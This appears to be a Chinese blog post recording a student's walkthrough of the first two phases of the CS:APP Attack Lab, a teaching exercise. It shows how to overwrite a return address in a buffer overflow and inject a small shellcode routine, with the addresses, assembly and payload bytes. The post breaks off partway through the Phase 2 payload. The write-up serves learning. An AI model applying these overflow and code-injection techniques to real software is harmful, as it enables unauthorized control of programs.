CSAPP:3e Attacklab实验记录

阅读实验手册,开始做Attacklab.

CTARGET Phase 1

第一个Attack Phase要求调用存在的函数touch1.这个简单,自需要将touch1的首地址覆盖栈中的返回地址就行。
首先使用gdb调试ctarget,反汇编出getbuf的汇编代码:
disas getbuf
可以发现这里分配了0x28(十进制是40)Bytes的栈帧。由于栈是低地址方向增长的,所以只要在%rsp+40的位置存入touch1的起始地址就好。通过反汇编touch1的代码,不难发现touch1的起始地址是0x4017c0:
disas touch1
所以构造字符串,前40个字节随意(但是不能取0A,因为0A是换行符,ctarget程序根据换行符判定输入结束),然后后面跟上0x4017c0(注意此时要转换为小端法表示):
文件
保存为phase1.txt。
输入命令判题:
phase1
Phase1通过。

Phase 2

Phase2要求注入一小段代码,带参数调用touch2(unsigned)函数。
首先在实验手册里看到touch2需要判断一下你的cookie:
CSAPP ATTACKLAB PDF1
这个cookie是程序生成的一个随机数,在启动ctarget程序时有显示。
反汇编touch2函数,发现touch2函数的首地址是0x4017ec:
在这里插入图片描述
准备将代码注入到getbuf的栈帧里,实验手册已经说了ctarget的栈地址是固定的,这就方便了注入代码。在gdb调试下发现栈帧地址是0x5561dc78:
gdb1

先罗列一下已有的信息:
Stack Address:0x5561dc78
function touch2 address:0x00000000004017ec
Cookie:0x59b997fa
然后开始写注入的代码。写的这段代码的目的是为了带参调用touch2.

fun2:
	movl $0x59b997fa,%edi
	pushq $0x4017ec
	ret

汇编出目标文件,再使用objdump -d反汇编到phase2.txt:


phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <fun2>:
   0:	bf fa 97 b9 59       	mov    $0x59b997fa,%edi
   5:	68 ec 17 40 00       	pushq  $0x4017ec
   a:	c3                   	retq   

保留二进制部分,补全40个字节,然后在后面附加上返回到栈帧的地址,
得到文件phase2.txt:

bf fa 97 b9 59       	/* movl   $0x59b997fa,%edi */
  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值